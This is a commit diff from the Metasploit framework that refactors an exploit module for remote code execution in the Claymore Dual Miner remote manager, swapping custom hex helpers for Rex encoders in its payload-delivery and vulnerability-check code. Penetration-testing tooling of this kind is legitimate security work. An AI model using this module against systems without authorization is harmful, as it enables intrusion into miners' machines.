refactor: use Rex built-in encoders

modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb

@@ -59,20 +59,12 @@ class MetasploitModule < Msf::Exploit::Remote
     deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
   end
 
-  def bin_to_hex(s)
-    s.each_byte.map { |b| b.to_s(16) }.join
-  end
-
-  def hex_to_bin(s)
-    s.scan(/../).map { |x| x.hex.chr }.join
-  end
-
   def execute_command(cmd, opts = {})
     case target['Platform']
     when 'linux'
-      cmd = bin_to_hex(cmd)
+      cmd = Rex::Text.to_hex(cmd, '')
     when 'windows'
-      cmd = bin_to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
+      cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
     end
     case target['Platform']
     when 'linux'
@@ -130,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if not hex
       return Exploit::CheckCode::Safe
     end
-    str = hex_to_bin(hex)
+    str = Rex::Text.hex_to_raw(hex)
     if str.include?('WARNING')
       return Exploit::CheckCode::Vulnerable
     else